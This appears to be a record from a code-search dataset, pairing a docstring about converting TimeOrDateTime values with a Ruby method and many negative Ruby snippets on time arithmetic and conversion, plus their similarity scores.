"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def -( other )\n TimeDelta.new( @msecs - other.msecs )\n end",
"def ago(seconds)\n since(-seconds)\n end",
"def ago(seconds)\n since(-seconds)\n end",
"def ago(t = Time.now); t - self; end",
"def ago(t = Time.now); t - self; end",
"def seconds_to_time(seconds, options = {})\n SecondsToTime.convert(seconds, options)\n end",
"def time_in_seconds(time_str)\n dt_tm_hash = time_details(time_str)\n curr_time = Time.now\n\n # Basic time variables\n future_year = curr_time.year + dt_tm_hash[:year].to_i\n future_month = curr_time.month + dt_tm_hash[:month].to_i\n future_day = curr_time.day + dt_tm_hash[:day].to_i\n future_hr = curr_time.hour + dt_tm_hash[:hour].to_i\n future_min = curr_time.min + dt_tm_hash[:min].to_i\n future_sec = curr_time.sec + dt_tm_hash[:sec].to_i\n\n # 'extra value' calculations for these time variables\n future_sec, future_min = extra_time(future_sec, future_min, 60)\n future_min, future_hr = extra_time(future_min, future_hr, 60)\n future_hr, future_day = extra_time(future_hr, future_day, 24)\n\n # explicit method to calculate overloaded days;\n # They may stretch upto years; heance leap year & months are into consideration\n future_day, future_month, future_year = extra_days(future_day, future_month, future_year, curr_time.month, curr_time.year)\n\n future_month, future_year = extra_months(future_month, future_year, curr_time.month, curr_time.year)\n\n future_time = Time.new(future_year, future_month, future_day, future_hr, future_min, future_sec)\n\n # Difference in time will return seconds\n future_time.to_i - curr_time.to_i\n end",
"def -(d)\n case d\n when self.class\n (jd - d.jd) + (fract - d.fract) + (@offset - d.offset)/86400.0\n when Integer, Float\n self + -d\n else\n raise TypeError, \"d should be #{self.class}, Float, or Integer\"\n end\n end",
"def timeRemaining(t1)\n\t\treturn subtract(t1,getCurrentTime)\n\tend",
"def duration_since(earlier)\n raise TypeError, 'Not an Instant' unless earlier.is_a?(Instant)\n\n earlier - self\n end",
"def adjusted_time(finish_time)\n start_time = matching_start_time(finish_time) || competition_start_time_in_thousands\n finish_time - start_time\n end",
"def update_time(time, uuid)\n if time.key?('duration')\n unless time['duration'].is_a? Integer\n duration = duration_to_seconds(time['duration'])\n time['duration'] = duration\n\n # Duration at this point contains an error_msg if not an int\n return duration unless time['duration'].is_a? Integer\n end\n\n if time['duration'] < 0\n return Hash[@error => 'time object: duration cannot be negative']\n end\n\n end\n create_or_update(time, uuid, 'time', 'times', false)\n end",
"def <=>(other)\n seconds <=> TimeUtil.time_of_day(other).seconds\n end",
"def create_time(time)\n unless time['duration'].is_a? Integer\n duration = duration_to_seconds(time['duration'])\n time['duration'] = duration\n\n # Duration at this point contains an error_msg if it's not an int\n return duration unless time['duration'].is_a? Integer\n end\n\n if time['duration'] < 0\n return Hash[@error => 'time object: duration cannot be negative']\n end\n\n create_or_update(time, nil, 'time', 'times')\n end",
"def as_seconds(time_value)\n time_value.round\n end",
"def remain_time\n rem_time = $time - Time.new\n rem_time.to_i\nend",
"def elapsed_seconds(start_time, end_time)\n end_time.to_i - start_time.to_i\nend",
"def shift(*time_units)\n time_hash = Hash===time_units.last ? time_units.pop : {}\n time_units = time_units.flatten\n time_units << :seconds if time_units.size % 2 == 1\n time_hash.each{ |units, number| time_units << number; time_units << units }\n\n time = self\n time_units.each_slice(2) do |number, units|\n #next time = time.ago(-number, units) if number < 0\n time = (\n case units.to_s.downcase.to_sym\n when :years, :year\n time.set( :year=>(year + number) )\n when :months, :month\n if number > 0\n new_month = ((month + number - 1) % 12) + 1\n y = (number / 12) + (new_month < month ? 1 : 0)\n time.set(:year => (year + y), :month => new_month)\n else\n number = -number\n new_month = ((month - number - 1) % 12) + 1\n y = (number / 12) + (new_month > month ? 1 : 0)\n time.set(:year => (year - y), :month => new_month)\n end\n when :weeks, :week\n time + (number * 604800)\n when :days, :day\n time + (number * 86400)\n when :hours, :hour\n time + (number * 3600)\n when :minutes, :minute, :mins, :min\n time + (number * 60)\n when :seconds, :second, :secs, :sec, nil\n time + number\n else\n raise ArgumentError, \"unrecognized time units -- #{units}\"\n end\n )\n end\n dst_adjustment(time)\n end",
"def clone()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = TimeSpan.new(Native.TimeSpan_clone(@handle.ptr))\n result\n end",
"def normalize_time(time)\n time&.change(usec: 0)\n end",
"def test_datetime_minus_number_year_boundary()\n sec_delta = 5 # Between 0 and 10\n min_delta = 10 # Between 0 and 30\n hour_delta = 1 # Between 0 and 17\n day_delta = 3 # Between 0 and 6\n datetime = @ad_manager.datetime(\n 2018, 1, 1, 17, 30, 10, 'America/New_York'\n )\n datetime = datetime - sec_delta - min_delta * 60 - hour_delta * 60 * 60 -\n day_delta * 60 * 60 * 24\n assert_equal(2017, datetime.year)\n assert_equal(12, datetime.month)\n assert_equal(32 - day_delta, datetime.day)\n assert_equal(17 - hour_delta, datetime.hour)\n assert_equal(30 - min_delta, datetime.min)\n assert_equal(10 - sec_delta, datetime.sec)\n assert_equal('America/New_York', datetime.timezone.identifier)\n assert_equal(-18000, datetime.utc_offset)\n assert_true(datetime.is_a? AdManagerApi::AdManagerDateTime)\n end",
"def before(time = ::Time.now)\n time - self\n end",
"def less(*time_units)\n time_hash = Hash===time_units.last ? time_units.pop : {}\n time_units = time_units.flatten\n\n time_units << :seconds if time_units.size % 2 == 1\n\n time_hash.each{ |units, number| time_units << number; time_units << units }\n\n neg_times = []\n time_units.each_slice(2){ |number, units| neg_times << -number; neg_times << units }\n\n shift(*neg_times)\n end",
"def decompose_as_time\n s = self\n days = (s / 1.day).nil_if_zero\n reste = s % 1.day\n hours = (reste / 3600).nil_if_zero\n reste = reste % 3600\n minutes = (reste / 60).nil_if_zero\n seconds = (reste % 60).nil_if_zero\n {days: days, hours: hours, minutes: minutes, seconds: seconds}\n end",
"def to_time(t)\n if t.is_a?(::Time) then t\n else from_string(to_string(t)) end\n end",
"def - duration\n if duration.is_a? MTK::Core::Duration\n MTK::Core::Duration[@value - duration.value]\n else\n MTK::Core::Duration[@value - duration]\n end\n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n @timestamp_with_offset = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n elsif timeOrDateTime.is_a?(TimestampWithOffset)\n @timestamp_with_offset = timeOrDateTime\n\n # The timestamp is always in UTC. To ignore the offset, a local\n # timestamp is created by adding the offset to the timestamp.\n @timestamp_with_offset = TimestampWithOffset.new(@timestamp_with_offset.timestamp + @timestamp_with_offset.utc_offset, 0) unless @timestamp_with_offset.utc_offset == 0 || !ignore_offset\n\n @orig = @timestamp_with_offset\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def get_seconds_from_time(time)\n times = time.split(':')\n return Integer(times[0]) * 60 * 60 + Integer(times[1]) * 60 + Integer(times[2])\n end",
"def time_wrap(obj)\n obj.kind_of?(String) ? Time.parse(obj) : obj\n end",
"def -(value)\n value = get_value(value)\n if value.is_a? Numeric\n self.class.new(self.amount - value, self.currency)\n else\n raise TypeError, \"#{self.class.name} couldn't be subtracted by #{value.class.name}'s value\"\n end\n end",
"def subtract!(other)\n if other.is_a?(Numeric)\n @data.each_index do |i|\n @data[i] -= other\n end\n elsif other.is_a?(Signal)\n raise ArgumentError, \"other.data.size #{other.size} is not equal to data.size #{@data.size}\" if other.data.size != @data.size\n @data.each_index do |i|\n @data[i] -= other.data[i]\n end\n elsif other.is_a?(Array)\n raise ArgumentError, \"other.size #{other.size} is not equal to data.size #{@data.size}\" if other.size != @data.size\n @data.each_index do |i|\n @data[i] -= other[i]\n end\n else\n raise ArgumentError, \"other is not a Numeric, Signal, or Array\"\n end\n return self\n end",
"def convert_time(t)\n case t\n when nil then nil\n when Date then t.to_time.utc.iso8601(3)\n when Time then t.utc.iso8601(3)\n when String then Time.parse(t).utc.iso8601(3)\n else raise \"Invalid time format '#{t.class}'. Valid options are Time, Date, or String\"\n end\n rescue StandardError => e\n raise \"Failed to parse time value '#{t}'. #{e.message}\"\n end",
"def elapsed_seconds(start_time, end_time)\r\n end_time - start_time\r\nend",
"def -(other)\n combine(:-, other) ||\n fail(TypeError, \"Can't subtract #{other} from #{self}.\")\n end",
"def endTimeFrom(bTime)\n return bTime + @sec ;\n end",
"def since(time)\n case time\n when Date, Time, DateTime then time + self\n else raise ArgumentError.new('#since takes a Time-like')\n end\n end",
"def since(seconds)\n # This is basically a wrapper around the Numeric extension.\n #seconds.since(self)\n self + seconds\n end",
"def duration_in_seconds\n reserve_end_at = row.reserve_end_at || end_time\n reserve_end_at = end_time if reserve_end_at > end_time\n reserve_start_at = row.reserve_start_at > start_time ? row.reserve_start_at : start_time\n (reserve_end_at - reserve_start_at).round\n end",
"def clock_sec_sub(current,delta)\n check_pre((current.clock_sec? and delta.clock_sec?))\n ClockSec[current.seconds - delta.seconds]\nend",
"def seconds\n @seconds.abs % 60 * (@seconds < 0 ? -1 : 1)\n end",
"def typecast_value_time(value)\n case value\n when Time\n if value.is_a?(SQLTime)\n value\n else\n # specifically check for nsec == 0 value to work around JRuby 1.6 ruby 1.9 mode bug\n SQLTime.create(value.hour, value.min, value.sec, (value.respond_to?(:nsec) && value.nsec != 0) ? value.nsec/1000.0 : value.usec)\n end\n when String\n Sequel.string_to_time(value)\n when Hash\n SQLTime.create(*[:hour, :minute, :second].map{|x| (value[x] || value[x.to_s]).to_i})\n else\n raise Sequel::InvalidValue, \"invalid value for Time: #{value.inspect}\"\n end\n end",
"def in_seconds\n @seconds\n end",
"def set_duration\n if self.end_time\n # self.duration = (end_time - start_time).to_i\n self.duration = (end_time - start_time).to_i\n else\n self.duration = DEFAULT_DURATION\n self.end_time = self.start_time + self.duration\n end\n end",
"def remove(element, new_time)\n @remove_set[element] = new_time.to_i\n self\n end",
"def coerce(other)\n return MTK::Core::Duration[other], self\n end",
"def duration_time\n if !block_given?\n if @cached_duration_time != nil\n return @cached_duration_time\n end\n return @cached_duration_time = @j_del.java_method(:durationTime, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling duration_time()\"\n end",
"def add_with_convert(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # A Time or timestamp.\n result = to_i + seconds\n \n if ((result > 2147483647 || result < -2147483648) && !RubyCoreSupport.time_supports_64bit) || (result < 0 && !RubyCoreSupport.time_supports_negative)\n result = TimeOrDateTime.new(to_datetime + OffsetRationals.rational_for_offset(seconds))\n else\n result = TimeOrDateTime.new(@orig + seconds)\n end\n end\n end\n end",
"def to_seconds(raw_time)\n time_split = raw_time.split(\":\")\n hours = time_split[0]\n minutes = time_split[1]\n seconds = time_split[2]\n return hours.to_i * 3600 + minutes.to_i * 60 + seconds.to_i\n end",
"def clock_sub(clock1,clock2)\n to_clock(clock1,clock_sec_sub( to_clock_sec(clock1), to_clock_sec(clock2)))\nend",
"def quantity_of_seconds(time)\n time.hour * 60 + time.minute * 60 + time.second + time.second_fraction\nend",
"def elapsed_seconds(start_time, end_time)\n return (end_time - start_time)\nend",
"def typecast_to_time(value)\n case value\n when Float # JSON oj already parses Time, FTW.\n Time.at(value).utc\n when Hash\n typecast_hash_to_time(value)\n else\n typecast_iso8601_string_to_time(value.to_s)\n end\n rescue ArgumentError\n nil\n rescue TypeError\n nil\n end",
"def change(options) #:nodoc:\n TzTime.new(time.change(options), @zone)\n end",
"def time_duration\n t1 = Time.now.to_f\n Time.now.to_f - t1\nend",
"def seconds\n (hour * 60 * 60) + (min * 60)\n end",
"def from_now\n #if time.respond_to? :unix_timestamp\n # to_i - Time.unix_timestamp\n #else\n self - self.class.now\n #end\n end",
"def time_duration(mytime, start_time, end_time)\n # implement this\n return 9999999\n end",
"def coerce_time(value, options = {})\n value = coerce_string(value, options)\n return if !value || value.empty?\n\n begin\n Time.parse(value).utc\n rescue ArgumentError\n nil\n end\n end"
] |
[
"0.6613704",
"0.6204663",
"0.58813256",
"0.57706845",
"0.5631291",
"0.56091505",
"0.5584698",
"0.55248153",
"0.5501946",
"0.5479136",
"0.5456052",
"0.5433738",
"0.54307073",
"0.54290414",
"0.54186505",
"0.5398979",
"0.5392649",
"0.5360987",
"0.5360987",
"0.5333456",
"0.5332717",
"0.53059924",
"0.52194244",
"0.5209736",
"0.5204043",
"0.5204043",
"0.5204043",
"0.51981",
"0.5116274",
"0.50836706",
"0.50626856",
"0.5039512",
"0.50277454",
"0.5022997",
"0.501935",
"0.49695542",
"0.49669877",
"0.49280682",
"0.48984697",
"0.48758337",
"0.48722225",
"0.48556128",
"0.48556128",
"0.48278677",
"0.48278677",
"0.48248285",
"0.48217142",
"0.482095",
"0.48158893",
"0.47919992",
"0.47555792",
"0.4725582",
"0.47178006",
"0.47103924",
"0.4669626",
"0.46582314",
"0.46508858",
"0.46440563",
"0.4640003",
"0.46397457",
"0.46064812",
"0.4603457",
"0.4597312",
"0.4595281",
"0.45924273",
"0.4585457",
"0.45814815",
"0.4576899",
"0.45578825",
"0.45553568",
"0.45379803",
"0.45293504",
"0.45042863",
"0.45003444",
"0.4499385",
"0.44973993",
"0.44870585",
"0.44840515",
"0.44837713",
"0.44830626",
"0.4479671",
"0.4472434",
"0.44627884",
"0.4448711",
"0.4444647",
"0.44410694",
"0.4440102",
"0.4436439",
"0.4424041",
"0.4420055",
"0.44193405",
"0.44138277",
"0.44088024",
"0.44039583",
"0.43926394",
"0.4391881",
"0.43855295",
"0.43849856"
] |
0.53566754
|
21
|
Similar to the + operator, but converts to a DateTime based TimeOrDateTime where the Time or Integer timestamp to go out of the allowed range for a Time, converts to a DateTime based TimeOrDateTime. Note that the range of Time varies based on the platform.
|
def add_with_convert(seconds)
if seconds == 0
self
else
if @orig.is_a?(DateTime)
TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))
else
# A Time or timestamp.
result = to_i + seconds
if ((result > 2147483647 || result < -2147483648) && !RubyCoreSupport.time_supports_64bit) || (result < 0 && !RubyCoreSupport.time_supports_negative)
result = TimeOrDateTime.new(to_datetime + OffsetRationals.rational_for_offset(seconds))
else
result = TimeOrDateTime.new(@orig + seconds)
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.is_a?(TimestampWithOffset) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n elsif @orig.is_a?(TimestampWithOffset) || orig.is_a?(TimestampWithOffset)\n to_timestamp_with_offset.timestamp <=> timeOrDateTime.to_timestamp_with_offset.timestamp\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) || \n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n \n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n \n orig = timeOrDateTime.to_orig\n \n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason \n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def initialize(timeOrDateTime)\n @time = nil\n @datetime = nil\n @timestamp = nil\n \n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n \n # Avoid using the slower Rational class unless necessary.\n nsec = RubyCoreSupport.time_nsec(@time)\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n \n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? \n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n \n if !RubyCoreSupport.time_supports_64bit && (@timestamp > 2147483647 || @timestamp < -2147483648 || (@timestamp < 0 && !RubyCoreSupport.time_supports_negative))\n raise RangeError, 'Timestamp is outside the supported range of Time on this platform'\n end\n \n @orig = @timestamp\n end\n end",
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + defined for Time and Integer\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + defined for Time and Integer\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def merge_date_time date, time\n DateTime.new(date.year, date.month, date.day, time.hour, time.min, time.sec)\n end",
"def convert_from_date_to_time(x)\n if x.class == Date\n x.to_time + 12.hours\n elsif x.class == DateTime || x.class == Time\n x\n end\nend",
"def set_time_as_datetime(options)\n options[:type] = DateTime if options[:type] == Time\n end",
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + is defined for Time, TimestampWithOffset and Integer.\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def append_time(value)\n time = case value\n when Time\n value\n else\n begin\n Time.parse(value)\n rescue\n raise(ArgumentError, \"Cannot parse argument `#{value}` to Time.\")\n end\n end\n\n _append_time(time.hour, time.min, time.sec, time.usec)\n end",
"def true_time( time_object )\n hours_to_sec = time_object.utc.hour * 60 * 60\n minutes_to_sec = time_object.utc.min * 60\n sec_to_sec = time_object.utc.sec\n hours_to_sec + minutes_to_sec + sec_to_sec\n end",
"def typecast_value_time(value)\n case value\n when Time\n if value.is_a?(SQLTime)\n value\n else\n # specifically check for nsec == 0 value to work around JRuby 1.6 ruby 1.9 mode bug\n SQLTime.create(value.hour, value.min, value.sec, (value.respond_to?(:nsec) && value.nsec != 0) ? value.nsec/1000.0 : value.usec)\n end\n when String\n Sequel.string_to_time(value)\n when Hash\n SQLTime.create(*[:hour, :minute, :second].map{|x| (value[x] || value[x.to_s]).to_i})\n else\n raise Sequel::InvalidValue, \"invalid value for Time: #{value.inspect}\"\n end\n end",
"def convert_to_time(obj)\n case\n when obj.respond_to?(:seconds)\n obj.seconds >= MINIMUM_SECONDS && obj.seconds <= MAXIMUM_SECONDS ? make_time( obj.seconds ) : nil\n when obj.instance_of?(Time)\n make_time( obj.hour.hours + obj.min.minutes + obj.sec.seconds )\n else\n nil\n end\n end",
"def +(o)\n offset = Time.now.utc_offset\n case o\n when Integer then\n if @_utc then\n return Time.at(@tv_sec + o, @tv_usec).utc\n else\n return Time.at(@tv_sec + o, @tv_usec)\n end\n when Float then\n s, u = o.divmod(1.0)\n if @_utc then\n return Time.at(@tv_sec + s, @tv_usec + (u * 1e6).to_i).utc\n else\n return Time.at(@tv_sec + s, @tv_usec + (u * 1e6).to_i)\n end\n else\n raise \"wtf?: #{t.inspect}:#{t.class}\"\n end\n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def to_time\n raise NotImplementedError\n end",
"def as_of_time\n Conversions.string_to_utc_time attributes_before_type_cast['as_of_time']\n end",
"def normalize_end_time(time)\n time.midnight + 1.day - 1.minute\n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n @timestamp_with_offset = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n elsif timeOrDateTime.is_a?(TimestampWithOffset)\n @timestamp_with_offset = timeOrDateTime\n\n # The timestamp is always in UTC. To ignore the offset, a local\n # timestamp is created by adding the offset to the timestamp.\n @timestamp_with_offset = TimestampWithOffset.new(@timestamp_with_offset.timestamp + @timestamp_with_offset.utc_offset, 0) unless @timestamp_with_offset.utc_offset == 0 || !ignore_offset\n\n @orig = @timestamp_with_offset\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def in_time_range?(time)\n time = Time.parse(time) if ! time.is_a?(Time)\n time_range.cover?(time)\n end",
"def get_datetime date, time\n time = DateTime.strptime time, '%H:%M' rescue return date\n (date + time.hour.hours + time.minute.minutes).to_datetime\n end",
"def set_new_time\n @dt_in = time_in.to_datetime\n update_column(:time_in, @dt_in.change(hour: hour_in.to_i, min: min_in.to_i))\n \n @dt_out = time_out.to_datetime\n update_column(:time_out, @dt_out.change(hour: hour_out.to_i, min: min_out.to_i))\n end",
"def valid_time_or_date?(value)\n value.is_a?(Time) || value.is_a?(Date) || value.is_a?(ActiveSupport::TimeWithZone)\n end",
"def +(other)\n if duration_of_variable_length?(other)\n method_missing(:+, other)\n else\n result = utc.acts_like?(:date) ? utc.since(other) : utc + other rescue utc.since(other)\n result.in_time_zone(time_zone)\n end\n end",
"def convert_to_time(value)\n time = Mongoid::Config.use_activesupport_time_zone? ? ::Time.zone : ::Time\n case value\n when ::String\n time.parse(value)\n when ::DateTime\n time.local(value.year, value.month, value.day, value.hour, value.min, value.sec)\n when ::Date\n time.local(value.year, value.month, value.day)\n when ::Array\n time.local(*value)\n else\n value\n end\n end",
"def test_datetime_plus_number()\n sec_delta = 5 # Between 0 and 49\n min_delta = 10 # Between 0 and 29\n hour_delta = 1 # Between 0 and 42\n day_delta = 3 # Between 0 and 23\n datetime = @ad_manager.datetime(\n 2017, 11, 7, 17, 30, 10, 'America/New_York'\n )\n datetime = datetime + sec_delta + min_delta * 60 + hour_delta * 60 * 60 +\n day_delta * 60 * 60 * 24\n assert_equal(2017, datetime.year)\n assert_equal(11, datetime.month)\n assert_equal(7 + day_delta, datetime.day)\n assert_equal(17 + hour_delta, datetime.hour)\n assert_equal(30 + min_delta, datetime.min)\n assert_equal(10 + sec_delta, datetime.sec)\n assert_equal('America/New_York', datetime.timezone.identifier)\n assert_equal(-18000, datetime.utc_offset)\n assert_true(datetime.is_a? AdManagerApi::AdManagerDateTime)\n end",
"def convert_to_time(value)\n time = Mongoid::Config.use_activesupport_time_zone? ? ::Time.zone : ::Time\n case value\n when ::String\n time.parse(value)\n when ::DateTime\n return value if value.utc? && Mongoid.use_utc?\n time.local(value.year, value.month, value.day, value.hour, value.min, value.sec)\n when ::Date\n time.local(value.year, value.month, value.day)\n when ::Array\n time.local(*value)\n else\n value\n end\n end",
"def +(obj)\n case obj\n when DateTime\n obj + (Rational === @val ? @val/86400 : @val/86400.0)\n when Time\n obj + @val\n else\n super\n end\n end",
"def convert_time(t)\n case t\n when nil then nil\n when Date then t.to_time.utc.iso8601(3)\n when Time then t.utc.iso8601(3)\n when String then Time.parse(t).utc.iso8601(3)\n else raise \"Invalid time format '#{t.class}'. Valid options are Time, Date, or String\"\n end\n rescue StandardError => e\n raise \"Failed to parse time value '#{t}'. #{e.message}\"\n end",
"def NormalizeTimeToDate first, second\n\tresult = Time.new(first.year, first.month, first.day, second.hour, second.min, second.sec, second.gmt_offset)\nend",
"def type_literal_generic_time(column)\n column[:only_time] ? :time : :datetime\n end",
"def between?(time,start_time,end_time)\n if start_time < end_time\n time.between?(start_time,end_time)\n else\n time.between?(start_time,\"23:59\") || time.between?(\"00:00\",end_time)\n end\n end",
"def to_time\r\n #MES- From activerecord-1.13.2\\lib\\active_record\\connection_adapters\\abstract\\schema_definitions.rb\r\n # Function was called string_to_time\r\n time_array = ParseDate.parsedate(self)[0..5]\r\n # treat 0000-00-00 00:00:00 as nil\r\n #MES- Next line WAS the following, but we don't have access to Base here\r\n #Time.send(Base.default_timezone, *time_array) rescue nil\r\n Time.utc(*time_array) rescue nil\r\n end",
"def to_time(t)\n if t.is_a?(::Time) then t\n else from_string(to_string(t)) end\n end",
"def add_to_date_time_value(date_time_value) #:nodoc:\n raise ArgumentError.new(\"Cannot add #{date_time_value} to #{self}\")\n end",
"def as_point_in_time\n if time\n time\n elsif start_time\n start_time\n else\n end_time\n end\n end",
"def before_Time_or_Date(time_or_date, options={})\n field = by_star_field_class(options)\n lte(field => time_or_date)\n end",
"def compare_with_coercion(other)\n # we're avoiding Time#to_datetime and Time#to_time because they're expensive\n if other.class == Time\n compare_without_coercion(other)\n elsif other.is_a?(Time)\n compare_without_coercion(other.to_time)\n else\n to_datetime <=> other\n end\n end",
"def for value\n if value.is_a? Numeric\n Time.at value\n elsif value.respond_to? :to_s\n Time.parse value.to_s\n else\n value.to_time\n end\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def time_with_offset(time, new_offset)\n time = time.getutc + new_offset\n nsec_part = Rational(time.nsec, 1_000_000_000)\n Time.new(time.year, time.mon, time.mday, time.hour, time.min, time.sec + nsec_part, new_offset)\n end",
"def time(limit = nil)\n Validation.new { |d| d.is_a?(Time) && in_range?(d, limit) }\n end",
"def expected_end\n val = super\n val = DatelessTime.new val unless val.blank?\n val\n end",
"def to_time\n begin\n Time.parse(self)\n rescue => e\n raise Sequel::Error::InvalidValue, \"Invalid time value '#{self}' (#{e.message})\"\n end\n end",
"def add(timeobj, val)\n \tsuper normalize_time_input(timeobj),val \n end",
"def to_time\n\t\tself.offset == 0 ? ::Time.utc_time(year, month, day, hour, min, sec, sec_fraction * (RUBY_VERSION < '1.9' ? 86400000000 : 1000000)) : self\n\tend",
"def <=>(value)\n time.to_time <=> value.to_time\n end",
"def +(other)\n return TypeError, 'Not one of: [Duration, #to_nanos]' unless other.respond_to?(:to_nanos)\n\n Instant.new(@ns + other.to_nanos)\n end",
"def abstime2local(abstime)\n DateTime.new(1904,1,1,0,0,0, Rational(0,24)).to_time + abstime\nend",
"def create_time(time)\n unless time['duration'].is_a? Integer\n duration = duration_to_seconds(time['duration'])\n time['duration'] = duration\n\n # Duration at this point contains an error_msg if it's not an int\n return duration unless time['duration'].is_a? Integer\n end\n\n if time['duration'] < 0\n return Hash[@error => 'time object: duration cannot be negative']\n end\n\n create_or_update(time, nil, 'time', 'times')\n end",
